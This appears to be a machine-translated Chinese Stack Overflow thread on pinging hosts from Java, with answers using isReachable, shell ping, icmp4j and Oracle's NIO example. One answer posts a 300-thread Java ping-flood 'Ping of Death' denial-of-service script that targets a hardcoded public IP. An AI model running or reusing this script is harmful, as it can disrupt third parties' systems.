我在网络上有一个设备，我试图ping我的Java程序。通过我的Windows命令提示符，我可以正常ping设备地址，并在地址上做一个tracert。
在线，我已经看到为了通过Java执行ping操作，您必须执行以下操作：
InetAddress.getByName(address).isReachable(timeout);
但是，当我在我的设备地址上使用此代码时，它总是在我的程序中返回false。我正在使用具有良好超时值的正确IPv4地址。此外，如果我使用本地主机地址，它可以正常工作。
为什么我可以通过cmd ping设备，但不是通过我的程序？我在各个地方听说这不是 true ping。
有没有更好的方法来模拟Java中的ping？
由于
答案 0 :(得分：27)
isReachable()将使用ICMP ECHO REQUEST s ，否则它将尝试在目标主机的端口7（Echo）上建立TCP连接。
因此，如果您的客户端无权执行ICMP ECHO REQUEST，则您的问题可能是配置问题，即客户端计算机上没有足够的权限或服务器上的端口7问题。可能在你的情况下，你需要解决一方或另一方才能使其发挥作用。
我在OSX和Linux客户端上测试了以下内容，它在测试其他OSX，Linux和Windows Server计算机的可访问性时有效。我没有Windows机器作为客户端运行它。
import java.io.IOException;
import java.net.InetAddress;
public class IsReachable
{
public static void main(final String[] args) throws IOException
{
final InetAddress host = InetAddress.getByName(args[0]);
System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
}
}
从我读到的here开始。这显然是一个Windows限制，并且Windows上不支持ICMP PING作为Windows 2000之前的系统调用，因此它默认尝试连接到端口7，并且在您尝试“到达”的计算机上被阻止”。 Java尚不支持新的本机系统调用。权限是基于Unix的系统，因为它们需要root来发送ICMP数据包。
如果您想为Windows 2000及更新版本推出自己的Windows原生JNI ICMP PING，请IcmpSendEcho Function。
答案 1 :(得分：9)
我在Windows，Linux和OSX中需要真正的ICMP ping时使用此功能（来自this article）（我还没有测试过其他系统）。
public static boolean isReachableByPing(String host) {
try{
String cmd = "";
if(System.getProperty("os.name").startsWith("Windows")) {
// For Windows
cmd = "ping -n 1 " + host;
} else {
// For Linux and OSX
cmd = "ping -c 1 " + host;
}
Process myProcess = Runtime.getRuntime().exec(cmd);
myProcess.waitFor();
if(myProcess.exitValue() == 0) {
return true;
} else {
return false;
}
} catch( Exception e ) {
e.printStackTrace();
return false;
}
}
答案 2 :(得分：2)
有点晚了，但我在尝试做同样的事情时偶然发现了这一点。
一个对我有用的解决方法，我使用的是直接使用命令行ping。
public static boolean ping(String host)
{
boolean isReachable = false;
try {
Process proc = new ProcessBuilder("ping", host).start();
int exitValue = proc.waitFor();
System.out.println("Exit Value:" + exitValue);
if(exitValue == 0)
isReachable = true;
} catch (IOException e1) {
System.out.println(e1.getMessage());
e1.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return isReachable;
}
答案 3 :(得分：1)
其中一个原因是您指定的超时时间太短。我遇到了类似的问题但是当我将超时增加到适当的值时，isReachable调用返回了一个正确的值。
答案 4 :(得分：1)
我看到很多与该问题相关的错误代码。适用于我的代码是（网站不知道正确解析我的代码文件）：
public class Test {
public static boolean isReachablebyPing(String ip) {
try {
String command;
if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
// For Windows
command = "ping -n 2 " + ip;
} else {
// For Linux and OSX
command = "ping -c 2 " + ip;
}
Process proc = Runtime.getRuntime().exec(command);
StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
outputGobbler.start();
proc.waitFor();
return checkAvailability(outputGobbler.getOutputLines());
} catch(IOException | InterruptedException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
return false;
}
public static void main(String... args) {
String ip = "10.20.20.17"; // false in my case
String ip1 = "10.20.20.100"; // true in my case
System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
}
private static boolean checkAvailability(List<String> outputLines) {
for(String line : outputLines) {
if(line.contains("unreachable")) {
return false;
}
if(line.contains("TTL=")) {
return true;
}
}
return false;
}
}
class StreamGobbler extends Thread {
protected InputStream is;
protected String type;
protected List<String> outputLines;
StreamGobbler(InputStream is, String type) {
this.is = is;
this.type = type;
outputLines = new ArrayList<>();
}
public List<String> getOutputLines() {
return outputLines;
}
@Override
public void run() {
try {
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
while((line = br.readLine()) != null) {
outputLines.add(line);
}
} catch(IOException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
答案 5 :(得分：1)
为了从没有权限的java轻松ping，我使用http://www.icmp4j.org
它非常易于使用：
final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();
request.setHost ("www.google.org");
// repeat a few times
for (int count = 1; count <= 4; count ++) {
// delegate
final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);
// log
final String formattedResponse = IcmpPingUtil.formatResponse (response);
System.out.println (formattedResponse);
// rest
Thread.sleep (1000);
}
答案 6 :(得分：0)
如果使用Windows机器 ping公共IP地址>，使用此功能无法提供帮助：
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
注意：文档说明：
如果权限，典型的实施将使用ICMP ECHO REQUEST 可以获得，否则它将尝试建立 TCP连接 在目标主机的端口7（Echo）上。
我已尝试过，但结果并不准确。
对我来说真正有用的是我们的用户编写的类，它发送真正的 ICMP ping 并根据IP状态返回true或false。
答案 7 :(得分：0)
以下JAVA代码是使用Microsoft Windows的Ping of Death和Denial of Service的示例。这应用于测试目的，以便在类似网络攻击的情况下构建反黑客证明和/或测试网站的性能。
// BEGIN Ping of Death and Denial of Service
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import jxl.read.biff.BiffException;
import jxl.write.WriteException;
public class PoDandDoS {
protected static final long serialVersionUID = 300200;
public static void main(String[] args)
throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
Thread[] threads = new Thread[300];
for (int i = 0; i < 300; i++) {
threads[i] = new Thread(new Runnable() {
public void run() {
try {
thread();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
});
threads[i].start();
}
for (int i = 0; i < 300; i++) {
threads[i].join();
}
}
private static void thread() throws IOException, InterruptedException {
// Ping of Death
String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
String temp1 = "";
@SuppressWarnings("unused")
String Hostname1 = "";
while ((temp1 = VarMove1.readLine()) != null) {
Thread.sleep(2);
Hostname1 = temp1;
}
VarMove1.close();
}
}
测试完成后。您可能希望使用以下代码清理任务管理器中的进程。
import java.io.IOException;
//BEGIN Clean Process
public class CleanProcess {
protected static final long serialVersionUID = 300200;
public static void main(String[] args) throws IOException {
// Close every process of PING and CMD running from your PC
Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
}
}
答案 8 :(得分：0)
来自https://docs.oracle.com/javase/8/docs/technotes/guides/io/example/Ping.java 我们有
public class Ping {
// The default daytime port
static int DAYTIME_PORT = 13;
// The port we'll actually use
static int port = DAYTIME_PORT;
// Representation of a ping target
//
static class Target {
InetSocketAddress address;
SocketChannel channel;
Exception failure;
long connectStart;
long connectFinish = 0;
boolean shown = false;
Target(String host) {
try {
address = new InetSocketAddress(InetAddress.getByName(host),
port);
} catch (IOException x) {
failure = x;
}
}
void show() {
String result;
if (connectFinish != 0)
result = Long.toString(connectFinish - connectStart) + "ms";
else if (failure != null)
result = failure.toString();
else
result = "Timed out";
System.out.println(address + " : " + result);
shown = true;
}
}
// Thread for printing targets as they're heard from
//
static class Printer
extends Thread {
LinkedList<Target> pending = new LinkedList<>();
Printer() {
setName("Printer");
setDaemon(true);
}
void add(Target t) {
synchronized (pending) {
pending.add(t);
pending.notify();
}
}
public void run() {
try {
for (; ; ) {
Target t = null;
synchronized (pending) {
while (pending.size() == 0)
pending.wait();
t = (Target) pending.removeFirst();
}
t.show();
}
} catch (InterruptedException x) {
return;
}
}
}
// Thread for connecting to all targets in parallel via a single selector
//
static class Connector
extends Thread {
Selector sel;
Printer printer;
// List of pending targets. We use this list because if we try to
// register a channel with the selector while the connector thread is
// blocked in the selector then we will block.
//
LinkedList<Target> pending = new LinkedList<>();
Connector(Printer pr) throws IOException {
printer = pr;
sel = Selector.open();
setName("Connector");
}
// Initiate a connection sequence to the given target and add the
// target to the pending-target list
//
void add(Target t) {
SocketChannel sc = null;
try {
// Open the channel, set it to non-blocking, initiate connect
sc = SocketChannel.open();
sc.configureBlocking(false);
boolean connected = sc.connect(t.address);
// Record the time we started
t.channel = sc;
t.connectStart = System.currentTimeMillis();
if (connected) {
t.connectFinish = t.connectStart;
sc.close();
printer.add(t);
} else {
// Add the new channel to the pending list
synchronized (pending) {
pending.add(t);
}
// Nudge the selector so that it will process the pending list
sel.wakeup();
}
} catch (IOException x) {
if (sc != null) {
try {
sc.close();
} catch (IOException xx) {
}
}
t.failure = x;
printer.add(t);
}
}
// Process any targets in the pending list
//
void processPendingTargets() throws IOException {
synchronized (pending) {
while (pending.size() > 0) {
Target t = (Target) pending.removeFirst();
try {
// Register the channel with the selector, indicating
// interest in connection completion and attaching the
// target object so that we can get the target back
// after the key is added to the selector's
// selected-key set
t.channel.register(sel, SelectionKey.OP_CONNECT, t);
} catch (IOException x) {
// Something went wrong, so close the channel and
// record the failure
t.channel.close();
t.failure = x;
printer.add(t);
}
}
}
}
// Process keys that have become selected
//
void processSelectedKeys() throws IOException {
for (Iterator i = sel.selectedKeys().iterator(); i.hasNext(); ) {
// Retrieve the next key and remove it from the set
SelectionKey sk = (SelectionKey) i.next();
i.remove();
// Retrieve the target and the channel
Target t = (Target) sk.attachment();
SocketChannel sc = (SocketChannel) sk.channel();
// Attempt to complete the connection sequence
try {
if (sc.finishConnect()) {
sk.cancel();
t.connectFinish = System.currentTimeMillis();
sc.close();
printer.add(t);
}
} catch (IOException x) {
sc.close();
t.failure = x;
printer.add(t);
}
}
}
volatile boolean shutdown = false;
// Invoked by the main thread when it's time to shut down
//
void shutdown() {
shutdown = true;
sel.wakeup();
}
// Connector loop
//
public void run() {
for (; ; ) {
try {
int n = sel.select();
if (n > 0)
processSelectedKeys();
processPendingTargets();
if (shutdown) {
sel.close();
return;
}
} catch (IOException x) {
x.printStackTrace();
}
}
}
}
public static void main(String[] args)
throws InterruptedException, IOException {
if (args.length < 1) {
System.err.println("Usage: java Ping [port] host...");
return;
}
int firstArg = 0;
// If the first argument is a string of digits then we take that
// to be the port number to use
if (Pattern.matches("[0-9]+", args[0])) {
port = Integer.parseInt(args[0]);
firstArg = 1;
}
// Create the threads and start them up
Printer printer = new Printer();
printer.start();
Connector connector = new Connector(printer);
connector.start();
// Create the targets and add them to the connector
LinkedList<Target> targets = new LinkedList<>();
for (int i = firstArg; i < args.length; i++) {
Target t = new Target(args[i]);
targets.add(t);
connector.add(t);
}
// Wait for everything to finish
Thread.sleep(2000);
connector.shutdown();
connector.join();
// Print status of targets that have not yet been shown
for (Iterator i = targets.iterator(); i.hasNext(); ) {
Target t = (Target) i.next();
if (!t.shown)
t.show();
}
}
}